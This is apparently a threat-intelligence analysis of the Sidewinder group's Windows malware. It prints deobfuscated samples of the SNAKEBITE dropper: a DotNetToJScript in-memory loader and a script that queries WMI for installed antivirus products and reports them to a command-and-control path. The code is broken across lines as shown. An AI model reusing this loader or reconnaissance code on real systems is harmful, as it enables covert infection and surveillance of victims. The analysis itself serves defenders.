Exposing Sidewinder’s Arsenal Against Windows

While chasing the spear-phishing campaigns carried out in the South-Asian region by the well-known threat activity group “Sidewinder” (a.k.a Rattlesnake, T-APT-04), Ebryx research team witnessed the evolution of Sidewinder’s tactics and arsenal as it made attempts to evade detection and achieve its operational objectives. Sidewinder’s tools of choice for targeting Windows based machines primarily consist of three malware strains that we identify as SNAKEBITE – a JavaScript-based dropper, MEMFANG – an in-memory implant, and S-VENOM – a RAT used by Sidewinder for accessing compromised Windows machines.

SNAKEBITE utilizes Starfighters (an in-memory launcher that has also been included in the Koadic framework as an implant) to deploy the MEMFANG implant directly into memory. The modified payload is a .NET assembly converted to javascript using DotNetToJScript.

var dash = "";var enc = new ActiveXObject("System.Text.ASCIIEn
coding");var length = enc["GetByteCount_2"](b);var ba = 
enc["GetBytes_4"](b);var transform = new 
ActiveXObject("System.Security.Cryp 
tography.Fro 
mBase64Transform");ba = transform["TransformFinalBlock"](ba, 0, 
length);var ms = new ActiveXObject("System.IO.MemoryS 
tream");ms. 
Write(ba, 0, (length / 4) * 3);ms.Position = 0;dash = ms;var so = var stm 
= Func4(so.split(".").join(''));var fmt = new 
ActiveXObject("System.Runtime.Ser 
ialization.For 
matters.Binary.BinaryFormatter");var al = new 
ActiveXObject("System.Collections.A 
rrayList");var d = fmt["Deserialize_2"](dash);al.Add(undefined);var o = 
d["DynamicInvoke"](al.ToArray())["CreateInstance"](ec); 

Snippet 2: Deobfuscated Starfighters snippet from a variant of SNAKEBITE

Starfighters implementation in SNAKEBITE requires setting the .NET version before execution which is achieved by checking for the subfolders in .NET installation directory using

FSO.GetFolder(FSO.GetSpecialFolder(0 
)+”Microsof

t.NETFramework”).SubFolders;. Once the .NET version is set, information regarding the installed Antivirus product is collected by querying the WMI service and later sent to the C2 server.

var objWMIService = GetObject(“winmgmts:\.rootSecurityC 
enter2”); 
var colItems = objWMIService.ExecQuery(“Select * From 
AntiVirusProduct”, null, 48);

var shells = new ActiveXObject("WScript.Shell");functi 
on MfNZUM(){    var net = "";    var FSO = new ActiveXObject("Scripting.FileSystem 
Object");    var folds = FSO.GetFolder(FSO.GetSpecialFolder 
(0)+"Micro 
soft.NETFramework ").SubFolders;    e = new Enumerator(folds);    var folder;    e.moveFirst();       while (e.atEnd() == false)      {          folder = e.item();        var files = folder.files;        var fileEnum = new Enumerator(files);         fileEnum.moveFirst();         while(fileEnum.atEnd() == false){            if(fileEnum.item().Name == "csc.exe")            {                if(folder.Name.substring(0,2)=="v2")                    return "v2.0.50727";                else if(folder.Name.substring(0,2)=="v4")                    return "v4.0.30319";            }             fileEnum[moveNext]();         }        e[moveNext]();    }    return folder.Name;}ver = v2.0.50727;try {    ver = MfNZUM();} catch(e) {     ver = "v2.0.50727";}shells.Environment 
("Process")(COMPLUS_Version) = ver;;var objWMIService = GetObject("winmgmts:\.rootSecurity 
Center2");var colItems = objWMIService.ExecQuery("Select * From AntiVirusProduct", null, 48);var objItem = new Enumerator(colItems); var x = "";for (; !objItem.atEnd(); objItem[moveNext]()) {    x += (objItem.item().displayName + " " + objItem.item().productState).replace 
(" ", "");}if(x && x.length){    x = x + "_stg1";}var aUrl = "/plugins/16364/11542/true/true/"+x; 
o.pink("/cgi/8ee 
4d36866/16364/11542/58a3a04b/ 
file.hta",aUrl,da,)} catch (e) {}finally{window.close();}}catch (e) {}finally{window.close();} 

Snippet 3: Finding installed Antivirus product, followed by a call to C2 address